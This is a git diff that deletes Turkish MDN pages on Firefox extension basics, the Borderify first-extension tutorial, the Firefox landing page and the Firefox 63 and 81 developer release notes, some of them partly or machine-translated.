özellikler ve fonksiyonlar ekler. Eklenti, Html, Css ve Javascript gibi benzer web tabanlı teknolojilerle oluşturulur. Bir web sayfasındaki JavaScript ile aynı web API'larından yararlanabilir, ancak bir uzantının kendi JavaScript API kümesine de erişimi vardır. Bu sizin eklenti ile bir web sayfasında yapabileceğinizden daha fazla şeyi yapabileceğiniz anlamına gelir. İşte yapabileceğiniz şeylere birkaç örnek:</p> - -<p><strong>Bir web sitesini geliştirin veya tamamlayın</strong>: Web sitenizden ek tarayıcı içi özellikler veya bilgi sunmak için bir eklenti kullanın. Kullanıcıların, sunduğunuz hizmeti iyileştirmek için ziyaret ettikleri sayfalardan ayrıntıları toplamasına izin verin.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/15808/Amazon_add_on.png"></p> - -<p>Örnekler: <a href="https://addons.mozilla.org/en-US/firefox/addon/amazon-browser-bar/">Amazon Assistant for Firefox</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/onenote-clipper/">OneNote Web Clipper</a>, and <a href="https://addons.mozilla.org/en-US/firefox/addon/grammarly-1/">Grammarly for Firefox</a></p> - -<p><strong>Kullanıcıların kişiselleştirmesine izin verin</strong>: Tarayıcı eklentisi web sayfalarındaki içeriği değiştirebilir. Örneğin kullanıcılar ziyaret ettiği bir sayfada sevdiği bir logoyu veya resmi arkaplan resmi olarak ekleyebilir. Eklentiler kullanıcılara Firefox UI arayüzünü güncelleştirmelerine izin verebilir. Aynı yolla <a href="https://developer.mozilla.org/en-US/Add-ons/Themes/Theme_concepts">bağımsız tema eklentileri</a> yapabilir.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/15809/MyWeb_New_Tab_add_on.png" style="height: 398px; width: 540px;"></p> - -<p>Örnekler: <a href="https://addons.mozilla.org/en-US/firefox/addon/myweb-new-tab/">MyWeb New Tab</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/tabliss/">Tabliss</a>, ve <a href="https://addons.mozilla.org/en-US/firefox/addon/vivaldifox/">VivaldiFox</a></p> - -<p><strong>Web sayfasına içerik ekleyin veya silin</strong>: Kullanıcıların web sayfalarındaki rahatsız edici reklamları engellemelerine, bir web sayfasında bir ülke veya şehir söz konusu olduğunda bir seyahat rehberine erişim sağlamasına veya tutarlı bir okuma deneyimi sunmak için sayfa içeriğini yeniden biçimlendirmesine yardımcı olmak isteyebilirsiniz. Hem sayfanın hem HTML hem de CSS’ye erişme ve bunları güncelleme yeteneği sayesinde, eklentiler kullanıcıların web’i istedikleri gibi görmelerine yardımcı olabilir.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/15807/ublock_origin_add_on.png" style="height: 480px; width: 640px;"></p> - -<p>Örnekler: <a href="https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/">uBlock Origin</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/reader/">Reader</a>, ve <a href="https://addons.mozilla.org/en-US/firefox/addon/toolbox-google-play-store/">Toolbox for Google Play Store™</a></p> - -<p><strong>Araçlar ve yeni gözatma özellikleri ekleyin</strong>: Görev çubuğuna yeni özellikler ekleyin, ya da linklerden, sayfadaki yazıdan, resimlerden kare kod oluşturun. Esnek UI seçenekleri ve <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions">WebExtensions API</a>'lerinin gücü ile bir tarayıcıya kolayca yeni özellikler ekleyebilir ve herhangi bir web sitesinin özelliğini veya fonksiyonunu artırabilirsiniz. </p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/15806/QR_Code_Image_Generator_add_on.png"></p> - -<p>Örnekler: <a href="https://addons.mozilla.org/en-US/firefox/addon/qr-code-image-generator/">QR Code Image Generator</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/swimlanes-for-trello/">Swimlanes for Trello</a>, ve <a href="https://addons.mozilla.org/en-US/firefox/addon/tomato-clock/">Tomato Clock</a></p> - -<p><strong>Oyunlar</strong>: çevrimdışı özellikli oyun sunun ya da yeni oyun özelliklerini keşfedin; örneğin, by incorporating gameplay into everyday browsing.</p> - -<p> <img alt="" src="https://mdn.mozillademos.org/files/15805/Asteroids_in_Popup_add_on%20.png" style="height: 438px; width: 700px;"></p> - -<p>Örnekler: <a href="https://addons.mozilla.org/en-US/firefox/addon/asteroids-in-popup/">Asteroids in Popup</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/solitaire-card-game-new-tab/">Solitaire Card Game New Tab</a>, ve <a href="https://addons.mozilla.org/en-US/firefox/addon/2048-prime/">2048 Prime</a>.</p> - -<p><strong>Geliştirici araçları ekleyin</strong>: Web geliştirme araçlarını işiniz olarak sağlayabilir veya paylaşmak istediğiniz web geliştirmeye faydalı bir teknik veya yaklaşım geliştirebilirsiniz. Her iki durumda da, geliştirici araç çubuğuna yeni bir sekme ekleyerek yerleşik Firefox geliştirici araçlarını geliştirebilirsiniz.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/15804/aXe_Developer_Tools_add_on.png" style="height: 261px; width: 700px;"></p> - -<p>Örnekler: <a href="https://addons.mozilla.org/en-US/firefox/addon/web-developer/">Web Developer</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/react-devtools/">Web React Developer Tools</a>, and <a href="https://addons.mozilla.org/en-US/firefox/addon/axe-devtools/">aXe Developer Tools</a></p> - -<p> </p> - -<p>Firefox için eklentiler <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions">WebExtensions API</a>leri, geliştirici eklentileri çarpraz tarayıcı sistemi kullanılarak inşa edilir. API büyük ölçüde Google Chrome ve Opera tarafından desteklenen <a href="https://developer.chrome.com/extensions">extension API</a> ile uyumludur. Bu tarayıcılar için yazılan uzantılar, çoğu durumda yalnızca birkaç <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension">değişiklikle </a>Firefox veya Microsoft Edge'de çalışır. API <a href="https://developer.mozilla.org/en-US/Firefox/Multiprocess_Firefox">multiprocess Firefox</a> ile de tam uyumludur. </p> - -<p>Eğer sorunuz, fikriniz ya da eski bir apiyi yenisine uyumlu hale getirme ile ilgili yardıma ihtiyacınız varsa bize <a href="https://mail.mozilla.org/listinfo/dev-addons">dev-addons mailing list</a> ya da <a href="irc://irc.mozilla.org/extdev">#extdev</a> üzerinden ulaşabilirsiniz. <a href="https://wiki.mozilla.org/IRC">IRC</a>.</p> - -<p> </p> - -<h2 id="Sırada_ne_var">Sırada ne var?</h2> - -<ul> -</ul> - -<ul> - <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension">İlk eklentiniz</a> ile basit bir eklenti üzerinden geliştirme yapalım.</li> - <li>Bir eklentinin yapısını öğrenin. <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension">Bir eklentinin anatomisi</a>.</li> - <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Examples">Örnek eklentiler</a> üzerinden eklentileri deneyin.</li> -</ul> diff --git a/files/tr/mozilla/add-ons/webextensions/your_first_webextension/index.html b/files/tr/mozilla/add-ons/webextensions/your_first_webextension/index.html deleted file mode 100644 index 7efafe5d0f..0000000000 --- a/files/tr/mozilla/add-ons/webextensions/your_first_webextension/index.html +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: İlk Eklentin -slug: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension -tags: - - Rehber - - WebEklentileri -translation_of: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension -original_slug: Mozilla/Eklentiler/WebExtensions/İlk_Eklentin ---- -<div>{{AddonSidebar}}</div> - -<div>Bu makalede Firefox için bir eklenti baştan sona nasıl oluşturulur onu inceleyeceğiz. Eklenti "mozilla.org" vey alt alan adlarından yüklenen tüm sayfalara kırmızı kenarlık ekleyecek.</div> - -<div></div> - -<div>Bu örnek için kaynak kodlar GitHub'ta: <a href="https://github.com/mdn/webextensions-examples/tree/master/borderify">https://github.com/mdn/webextensions-examples/tree/master/borderify</a>.</div> - -<div></div> - -<p>İlk olarak Firefox 45 veya sonraki bir versiyona ihtiyacımız olacak.</p> - -<h2 id="Eklentiyi_yazmak">Eklentiyi yazmak</h2> - -<p>Yeni bir dizin oluşturup içine girelim. Örneğin terminalden şu şekilde yapabiliriz:</p> - -<pre class="brush: bash">mkdir borderify -cd borderify</pre> - -<h3 id="manifest.json">manifest.json</h3> - -<p>Şimdi "manifest.json" isimli yeni bir dosya oluşturarak dosyanın içeriğine aşağıdakileri ekleyelim.</p> - -<pre class="brush: json">{ - - "manifest_version": 2, - "name": "Borderify", - "version": "1.0", - - "description": "mozilla.org ile eslesen tum sayfalara kırmızı kenarlık ekler.", - - "icons": { - "48": "icons/border-48.png" - }, - - "content_scripts": [ - { - "matches": ["*://*.mozilla.org/*"], - "js": ["borderify.js"] - } - ] - -}</pre> - -<ul> - <li>İlk 3 özellik olan: <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/manifest_version">manifest_version</a></code>, <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/name">name</a></code>, ve <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/version">version</a></code>, zorunlu alanlar ve bu eklenti için gerekli üstveriyi içeriyor.</li> - <li><code><a href="/en-US/Add-ons/WebExtensions/manifest.json/description">description</a></code> isteğe bağlı bir alan. Ancak Eklenti Yöneticisi'nde göründüğü için eklenmesi tavsiye ediliyor.</li> - <li><code><a href="/en-US/Add-ons/WebExtensions/manifest.json/icons">icons</a></code> isteğe bağlı bir alan. Eklenti Yöneticisi'nde gösterilecek ikonu belirtmek için kullanıldığından eklenmesi tavsiye ediliyor.</li> -</ul> - -<p>Buradaki en ilginç özellik <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></code>. Bu kısımda hangi örüntüye uyan web sayfaları için Firefox'un eklenti script'lerini yüklemesi gerektiğini söylüyor. Bu örnekte Firefox'a "borderify.js" i "mozilla.org" veya onun alt adresinden sunulan tüm HTTP veya HTTPS sayfalar için yüklemesini istiyoruz.</p> - -<ul> - <li><a href="/en-US/Add-ons/WebExtensions/Content_scripts">Content scripts hakkında daha fazlasını öğren.</a></li> - <li><a href="/en-US/Add-ons/WebExtensions/Match_patterns">Eşleşme örüntüleri hakkında daha fazlasını öğren</a>.</li> -</ul> - -<div class="warning"> -<p><a href="/en-US/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID#When_do_you_need_an_Add-on_ID">Bazı durumlarda eklentin için bir kimlik(id) belirtmen gerekebilir. </a>Gerektiğinde <code>manifest.json</code> da <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/applications">applications</a></code> içerisine <code>gecko.id</code> özelliğini ekle:</p> - -<pre class="brush: json">"applications": { - "gecko": { - "id": "borderify@example.com" - } -}</pre> -</div> - -<h3 id="iconsborder-48.png">icons/border-48.png</h3> - -<p>Eklentimizin bir ikonu olmalı. İkonumuz Eklenti Yöneticisi'nde eklentimiz listelenirken yanında gözükecek.manifest.json dosyamız ikonumuzun şu dizinde olacağını söylüyor: "icons/border-48.png".</p> - -<p>"borderify" dizini içerisinde "icons" klasörünü oluştur. "border-48.png" isimli bir ikon koy. Google Material Desing ikon paketinden alınmış ve <a href="https://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-ShareAlike</a> lisansına sahip <a href="https://github.com/mdn/webextensions-examples/blob/master/borderify/icons/border-48.png">örneğimizdeki ikonu</a> kullanabilirsin.</p> - -<p>Eğer kendi ikonunu kendin ayarlamak istiyorsan ikon 48x48 piksel olmalı. Yüksek çözünürlüklü cihazlar için 96x96 piksel ikon da ayarlayabilirsin. Ancak o durumda <code>icons</code> altında <code>96</code> olarak 96x96'lık ikonu belirtmen gerekir:</p> - -<pre class="brush: json">"icons": { - "48": "icons/border-48.png", - "96": "icons/border-96.png" -}</pre> - -<p>Alternatif olarak SVG dosyası kullanabilirsin ve doğru biçimde ölçeklenir. (Doğrusu: SVG kullanıyorsan ve ikon yazı içeriyorsa, SVG düzenleyicinin "convert to path" özelliğini kullanıp yazıyı düzleştirmek isteyebilirsin. Bu sayede pozisyonu ve boyutu doğru olarak ölçeklenir.)</p> - -<ul> - <li><a href="/en-US/Add-ons/WebExtensions/manifest.json/icons">İkonları ayarlamak hakkında daha fazlasını öğren.</a></li> -</ul> - -<h3 id="borderify.js">borderify.js</h3> - -<p>Finally, create a file called "borderify.js" directly under the "borderify" directory. Give it this content:</p> - -<pre class="brush: js">document.body.style.border = "5px solid red";</pre> - -<p>This script will be loaded into the pages that match the pattern given in the <code>content_scripts</code> manifest.json key. The script has direct access to the document, just like scripts loaded by the page itself.</p> - -<ul> - <li><a href="/en-US/Add-ons/WebExtensions/Content_scripts">Learn more about content scripts.</a></li> -</ul> - -<h2 id="Trying_it_out">Trying it out</h2> - -<p>First, double check that you have the right files in the right places:</p> - -<pre>borderify/ - icons/ - border-48.png - borderify.js - manifest.json</pre> - -<h3 id="Installing">Installing</h3> - -<p>Open "about:debugging" in Firefox, click "Load Temporary Add-on" and select any file in your extension's directory:</p> - -<p>{{EmbedYouTube("cer9EUKegG4")}}</p> - -<p>The extension will now be installed, and will stay until you restart Firefox.</p> - -<p>Alternatively, you can run the extension from the command line using the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext">web-ext</a> tool.</p> - -<h3 id="Testing">Testing</h3> - -<p>Now try visiting a page under "mozilla.org", and you should see the red border round the page:</p> - -<p>{{EmbedYouTube("rxBQl2Z9IBQ")}}</p> - -<div class="note"> -<p>Don't try it on addons.mozilla.org, though! Content scripts are currently blocked on that domain.</p> -</div> - -<p>Try experimenting a bit. Edit the content script to change the color of the border, or do something else to the page content. Save the content script, then reload the extensions's files by clicking the "Reload" button in about:debugging. You can see the changes right away:</p> - -<p>{{EmbedYouTube("NuajE60jfGY")}}</p> - -<ul> - <li><a href="/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">Learn more about loading extensions</a></li> -</ul> - -<h2 id="Packaging_and_publishing">Packaging and publishing</h2> - -<p>For other people to use your extension, you need to package it and submit it to Mozilla for signing. To learn more about that, see <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Publishing_your_WebExtension">"Publishing your extension"</a>.</p> - -<h2 id="What's_next">What's next?</h2> - -<p>Now you've got an idea of the process of developing a WebExtension for Firefox, try:</p> - -<ul> - <li><a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension">reading more about the anatomy of an extension</a></li> - <li><a href="/en-US/Add-ons/WebExtensions/Your_second_WebExtension">writing a more complex extension</a></li> - <li><a href="/en-US/Add-ons/WebExtensions/API">reading about the JavaScript APIs available for extensions.</a></li> -</ul> diff --git a/files/tr/mozilla/firefox/index.html b/files/tr/mozilla/firefox/index.html deleted file mode 100644 index 0c99f68792..0000000000 --- a/files/tr/mozilla/firefox/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Firefox -slug: Mozilla/Firefox -translation_of: Mozilla/Firefox ---- -<div>{{FirefoxSidebar}}</div> - -<p><a href="https://www.mozilla.org/firefox/">Firefox</a>, Mozilla'nın masa üstünde Windows, OS X , Linux ve Android mobil cihazlarda ulaşılabilir olan popüler Web tarayıcısıdır. Firefox, Web geliştiricileri ve kullanıcılar için en güncel Web teknolojileri, güçlü geliştirme araçları ve geniş uyumluluğu ile birlikte harika bir seçimdir.</p> - -<p>Firefox, kodların büyük çoğunluğu büyük gönüllü topluluğumuzun katkıları ile geliştirilen açık kaynak kodlu bir projedir. Burada Firefox projesine nasıl katkıda bulunacağınızı ve aynı zamanda Firefox add-ons yapısı, Firefox'ta geliştirici araçlarını kullanma ve diğer görevler hakkında linkler bulacaksınız.</p> - -<div class="summary"> -<p><a href="http://www.mozilla.org/en-US/firefox/">Firefox</a>'ta nasıl add-ons yapacağınızı, Firefox'un kendisini, iç yapısını ve alt proje işlerini nasıl geliştireceğinizi ve derleyeceğinizi öğrenin.</p> -</div> - -<ul class="card-grid"> - <li><span>Geliştirici Sürüm Notları</span> - - <p><a href="/en-US/Firefox/Releases">Geliştirici odaklı sürüm notları</a>; Firefox'un her versiyonu ile gelen add-ons 'ları ve Web sitesinin yeni kabiliyetlerinin neler olduğunu öğrenin.</p> - </li> - <li><span>Proje Dökümanları</span> - <p><a href="/en-US/docs/Mozilla">Firefox'un iç yapısı</a> ve derleme sistemi hakında detaylı bilgilere ulaşın ve böylece kodları içerisinde yolunuzu bulabilirsiniz.</p> - </li> - <li><span>Geliştirici Rehberi</span> - <p><a href="/en-US/docs/Developer_Guide">Geliştirici rehberimiz</a>, Firefox'un kodlarını nasıl temin edeceğinizi ve derleyeceğinizi, kodlar içerisinde yolunuzu nasıl bulacağınızı ve projeye nasıl katkıda bulunacağınız hakkında detaylı bilgiler sağlar.</p> - </li> -</ul> - -<p>Firefox'un dört tane <strong>kanalı</strong> bulunmaktadır. Sürüm kanalı, dünya etrafında milyonlarca insan tarafından kullanılan günlük kullanım içindir. Diğer kanallar testçiler, firefox'u benimseyenler ve ciddi meraklıları içindir.</p> - -<ul class="card-grid"> - <li class="download-box"><span>Gecelik Firefox</span> - - <p>Firefox'un Gecelik derlemeleri sadece test amaçlıdır.</p> - <a class="download-button external ignore-external" href="https://nightly.mozilla.org/" rel="noopener">Download Nightly</a></li> - <li class="download-box"><span>Firefox Aurora</span> - <p>Deneysel bir ortamda en yeni yenilikler.</p> - <a class="download-button external ignore-external" href="https://www.mozilla.org/firefox/channel/#aurora" rel="noopener">Download Aurora</a></li> - <li class="download-box"><span>Firefox Beta</span> - <p>Daha kararlı bir ortamda en yeni özellikler.</p> - <a class="download-button external ignore-external" href="https://www.mozilla.org/firefox/channel/#beta" rel="noopener">Download Beta</a></li> - <li class="download-box"><span>Firefox</span> - <p>Denendi, Test edildi ve Dünyada milyonlarca insan tarafından kullanıldı.</p> - <a class="download-button external ignore-external" href="https://www.mozilla.org/firefox/channel/#firefox" rel="noopener">Download Firefox</a></li> -</ul> diff --git a/files/tr/mozilla/firefox/releases/63/index.html b/files/tr/mozilla/firefox/releases/63/index.html deleted file mode 100644 index 527ce29553..0000000000 --- a/files/tr/mozilla/firefox/releases/63/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: Geliştiriciler için Firefox 63 -slug: Mozilla/Firefox/Releases/63 -translation_of: Mozilla/Firefox/Releases/63 ---- -<div>{{FirefoxSidebar}}</div> - -<div>{{draft}}</div> - -<p class="summary">Bu makale Firefox 63 üzerinde yapılan değişiklikler hakkında geliştiricilerini etkileyecek bilgiler sağlamaktadır. Firefox 63, <a href="https://www.mozilla.org/en-US/firefox/channel/desktop/#nightly">Firefox'un Gecelik versiyonu</a> ve <a href="https://wiki.mozilla.org/RapidRelease/Calendar#Future_branch_dates">23 Ekim 2018 </a>yayımlanacak.</p> - -<h2 id="Web_Geliştiricileri_için_Değişiklikler">Web Geliştiricileri için Değişiklikler</h2> - -<h3 id="Geliştirici_Araçları">Geliştirici Araçları</h3> - -<ul> - <li>{{Glossary("CORS")}} hatası meydana geldiğinde ve konsolda rapor edildiğinde Firefox ilgili sayfadan <a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS hata dökümanı</a> 'na link vermektedir ({{bug(1475391)}}).</li> -</ul> - -<h4 id="Kaldırılanlar">Kaldırılanlar</h4> - -<p> </p> - -<h3 id="HTML">HTML</h3> - -<p><em>Değişiklik yok.</em></p> - -<h4 id="Kaldırılanlar_2">Kaldırılanlar</h4> - -<p> </p> - -<h3 id="CSS">CSS</h3> - -<ul> - <li>Destek için {{Cssxref(":defined")}} pseudoclass eklendi.</li> - <li>Destek için {{cssxref("row-gap")}}, {{cssxref("column-gap")}} ve {{cssxref("gap")}} <a href="/en-US/docs/Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox#The_gap_properties">Flex layout</a> 'a<a href="/en-US/docs/Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox#The_gap_properties"> </a>eklendi.</li> -</ul> - -<h4 id="Kaldırılanlar_3">Kaldırılanlar</h4> - -<h3 id="SVG">SVG</h3> - -<p><em>Değişiklik yok.</em></p> - -<h4 id="Kaldırılanlar_4">Kaldırılanlar</h4> - -<h3 id="JavaScript">JavaScript</h3> - -<p><em>Değişiklik yok.</em></p> - -<h4 id="Kaldırılanlar_5">Kaldırılanlar</h4> - -<h3 id="API'ler">API'ler</h3> - -<h4 id="Yeni_API'ler">Yeni API'ler</h4> - -<ul> - <li>{{domxref("MediaCapabilities", "Media Capabilities API")}} tamamlandı.</li> -</ul> - -<h4 id="DOM">DOM</h4> - -<ul> - <li>{{domxref("Element.toggleAttribute()")}} metodu tamamlandı ({{bug(1469592)}}).</li> -</ul> - -<h4 id="DOM_Olayları">DOM Olayları</h4> - -<p><em>Değişiklik yok.</em></p> - -<h4 id="Service_workers">Service workers</h4> - -<p><em>Değişiklik yok.</em></p> - -<h4 id="Media_Web_Audio_and_WebRTC">Media, Web Audio, and WebRTC</h4> - -<ul> - <li>{{domxref("MediaDevices.enumerateDevices()")}} metodu şimdi medya cihazları çıkışını numaralandırılıyor ; önceden, Firefox 'ta yanlızca medya araçları girişini numaralandırılıyordu ({{bug(1152401)}}).</li> - <li>Spesifikasyonlardan çıkarıldığından beri Web Audio API üzerindeki limitli Doppler effekti {{domxref("PannerNode")}} kaldırıldı. {{domxref("AudioListener")}}, {{domxref("AudioListener.dopplerFactor", "dopplerFactor")}} ve {{domxref("AudioListener.speedOfSound", "speedOfSound")}} özellikleri ile birlikte <code>PannerNode</code> metodu {{domxref("PannerNode.setVelocity", "setVelocity()")}} özelliği kaldırıldı ({{bug(1148354)}}).</li> - <li>{{domxref("ConstantSourceNode")}} Web Audio API node tipi şimdi spesifikasyonları eşleştirmek için varsayılan olarak 1 değil 2 kanala sahiptir ({{bug(1413283)}}).</li> -</ul> - -<h4 id="Canvas_and_WebGL">Canvas and WebGL</h4> - -<ul> - <li>Yeni <code>powerPreference</code> özelliği {{domxref("HTMLCanvasElement.getContext()")}}'e eklendi. Bu MacOS işletim sisteminde çoklu GPU sistemlerinde yüksek GPU kullanımı yerine düşük GPU gücü kullanan applet'lere ve kritik olmayan performans WebGL uygulamalarına izin verir ({{bug(1349799)}}) . </li> -</ul> - -<h4 id="Kaldırılanlar_6">Kaldırılanlar</h4> - -<h3 id="CSSOM">CSSOM</h3> - -<p><em>Değişiklik yok.</em></p> - -<h4 id="Kaldırılanlar_7">Kaldırılanlar</h4> - -<h3 id="HTTP">HTTP</h3> - -<p><em>Değişiklik yok.</em></p> - -<h4 id="Kaldırılanlar_8">Kaldırılanlar</h4> - -<h3 id="Güvenlik">Güvenlik</h3> - -<p><em>Değişiklik yok.</em></p> - -<h4 id="Kaldırılanlar_9">Kaldırılanlar</h4> - -<h3 id="Eklentiler">Eklentiler</h3> - -<p><em>Değişiklik yok.</em></p> - -<h4 id="Kaldırılanlar_10">Kaldırılanlar</h4> - -<h3 id="Diğerleri">Diğerleri</h3> - -<p><em>Değişiklik yok.</em></p> - -<h4 id="Kaldırılanlar_11">Kaldırılanlar</h4> - -<h2 id="Add-on_Geliştiricileri_için_Değişiklikler">Add-on Geliştiricileri için Değişiklikler</h2> - -<h3 id="API_Değişiklikleri">API Değişiklikleri</h3> - -<ul> - <li> - <p>Kurulu arama motorlarını geri almak için "arama" API'si eklendi.</p> - </li> -</ul> - -<h2 id="Bakınız">Bakınız</h2> - -<ul> - <li>Site uyumluluğu için Firefox 63'e bakınız.</li> -</ul> - -<h2 id="Eski_Versiyonlar">Eski Versiyonlar</h2> - -<p>{{Firefox_for_developers(62)}}</p> diff --git a/files/tr/mozilla/firefox/releases/81/index.html b/files/tr/mozilla/firefox/releases/81/index.html deleted file mode 100644 index d7291cf17a..0000000000 --- a/files/tr/mozilla/firefox/releases/81/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Firefox 81 for developers -slug: Mozilla/Firefox/Releases/81 -translation_of: Mozilla/Firefox/Releases/81 ---- -<p><font><font>{{FirefoxSidebar}}</font></font></p> - -<p class="summary"><font><font>Bu makale, Firefox 81'de geliştiricileri etkileyecek değişiklikler hakkında bilgi sağlar. </font><font>Firefox 81, Firefox'un güncel </font></font><a href="https://www.mozilla.org/en-US/firefox/channel/desktop/#beta"><font><font>Beta sürümüdür</font></font></a><font><font> ve </font></font><a href="https://wiki.mozilla.org/RapidRelease/Calendar#Future_branch_dates"><font><font>22 Eylül 2020'de piyasaya</font></font></a><font><font> sürülecektir </font><font>.</font></font></p> - -<h2 id="Web_geliştiricileri_için_değişiklikler"><font><font>Web geliştiricileri için değişiklikler</font></font></h2> - -<h3 id="Geliştirici_Araçları"><font><font>Geliştirici Araçları</font></font></h3> - -<p><em><font><font>Değişiklik yok</font></font></em></p> - -<h4 id="Konsol"><font><font>Konsol</font></font></h4> - -<h4 id="Hata_ayıklayıcı"><font><font>Hata ayıklayıcı</font></font></h4> - -<h4 id="Diğer_Aletler"><span><font><font>Diğer Aletler</font></font></span></h4> - -<h3 id="HTML"><font><font>HTML</font></font></h3> - -<ul> - <li><code><a href="/en-US/docs/Web/HTML/Element/iframe"><iframe></a></code><font><font>Öğenin </font></font><code>sandbox</code><font><font>nitelik şimdi destekler </font></font><code>allow-downloads</code><font><font>belirteç. </font><font>({{hata (1558394)}})</font></font></li> -</ul> - -<h4 id="Kaldırmalar"><font><font>Kaldırmalar</font></font></h4> - -<ul> - <li><font><font>Standart dışı </font></font><code>mozallowfullscreen</code><font><font>öznitelik </font><font>desteği, bölümünden </font><font>kaldırıldı </font></font><code><a href="/en-US/docs/Web/HTML/Element/iframe"><iframe></a></code><font><font>. </font></font><code>allow="fullscreen"</code><font><font>Bunun yerine </font><font>kullanmayı düşünün </font><font>. </font><font>({{hata (1657599)}})</font></font></li> -</ul> - -<h3 id="CSS"><font><font>CSS</font></font></h3> - -<p><em><font><font>Değişiklik yok</font></font></em></p> - -<h4 id="Kaldırmalar_2"><font><font>Kaldırmalar</font></font></h4> - -<ul> - <li><font><font>Standart olmayan {{CSSxRef (":: - moz-focus-external")}} </font></font><a href="/en-US/docs/Web/CSS/Pseudo-elements"><font><font>sözde öğesi</font></font></a><font><font> kaldırıldı.</font></font></li> -</ul> - -<h3 id="JavaScript"><font><font>JavaScript</font></font></h3> - -<p><em><font><font>Değişiklik yok</font></font></em></p> - -<h4 id="Kaldırmalar_3"><font><font>Kaldırmalar</font></font></h4> - -<h3 id="HTTP"><font><font>HTTP</font></font></h3> - -<ul> - <li><font><font>Firefox artık standart olmayan </font></font><a href="/en-US/docs/Web/HTTP/Headers/Content-Disposition"><font><font>Content-Disposition</font></font></a><font><font> üstbilgilerini, boşluk içeren, alıntılanmamış bir dosya </font><a href="/en-US/docs/Web/HTTP/Headers/Content-Disposition"><font>adıyla</font></a><font> kabul ediyor </font><font>. </font><font>({{hata (1440677)}})</font></font></li> -</ul> - -<h4 id="Kaldırmalar_4"><font><font>Kaldırmalar</font></font></h4> - -<h3 id="APIler"><font><font>API'ler</font></font></h3> - -<p><em><font><font>Değişiklik yok</font></font></em></p> - -<h4 id="DOM"><font><font>DOM</font></font></h4> - -<ul> - <li><a href="/en-US/docs/Web/API/Worker"><font><font>Worker</font></font></a><font><font> ve </font></font><a href="/en-US/docs/Web/API/SharedWorker"><font><font>SharedWorker</font></font></a><font><font> artık yürütülen komut dosyası için kesinlikle bir JavaScript MIME türü uyguluyor. </font><font>({{hata (1569123)}})</font></font></li> -</ul> - -<h4 id="Medya_WebRTC_ve_Web_Audio"><font><font>Medya, WebRTC ve Web Audio</font></font></h4> - -<h4 id="Kaldırmalar_5"><font><font>Kaldırmalar</font></font></h4> - -<h3 id="WebAssembly"><font><font>WebAssembly</font></font></h3> - -<p><em><font><font>Değişiklik yok</font></font></em></p> - -<h4 id="Kaldırmalar_6"><font><font>Kaldırmalar</font></font></h4> - -<h2 id="Eklenti_geliştiricileri_için_değişiklikler"><font><font>Eklenti geliştiricileri için değişiklikler</font></font></h2> - -<ul> - <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/saveAsPDF">tabs.saveAsPDF()</a></code><font><font>artık macOS'ta desteklenmektedir. </font><font>({{hata (1653354)}})</font></font></li> -</ul> - -<h4 id="Kaldırmalar_7"><font><font>Kaldırmalar</font></font></h4> - -<h2 id="Ayrıca_bakınız"><font><font>Ayrıca bakınız</font></font></h2> - -<ul> - <li><a href="https://www.fxsitecompat.com/en-CA/versions/81/"><font><font>Firefox 81 için site uyumluluğu</font></font></a></li> -</ul> - -<h2 id="eski_versiyonlar"><font><font>eski versiyonlar</font></font></h2> - -<p><font><font>{{Firefox_for_developers (80)}}</font></font></p> diff --git a/files/tr/mozilla/firefox/releases/index.html b/files/tr/mozilla/firefox/releases/index.html deleted file mode 100644 index 8c23f95aa8..0000000000 --- a/files/tr/mozilla/firefox/releases/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Firefox developer release notes -slug: Mozilla/Firefox/Releases -tags: - - Firefox - - NeedsTranslation - - TopicStub -translation_of: Mozilla/Firefox/Releases ---- -<div>{{FirefoxSidebar}}</div><p>This page provides links to the "Firefox X for developers" articles for each Firefox release. These notes let you see what features were added and bugs eliminated in each version of Firefox.</p> -<div class="multiColumnList"> - {{ListSubpages("",1,1,1)}}</div> diff --git a/files/tr/mozilla/index.html b/files/tr/mozilla/index.html deleted file mode 100644 index 220a8e1145..0000000000 --- a/files/tr/mozilla/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Mozilla -slug: Mozilla -tags: - - NeedsTranslation - - TopicStub -translation_of: Mozilla ---- -<div> - {{draft}}</div> -<p>This will soon be an awesome landing page for Mozilla internals. For now, it's not.</p> -<div> 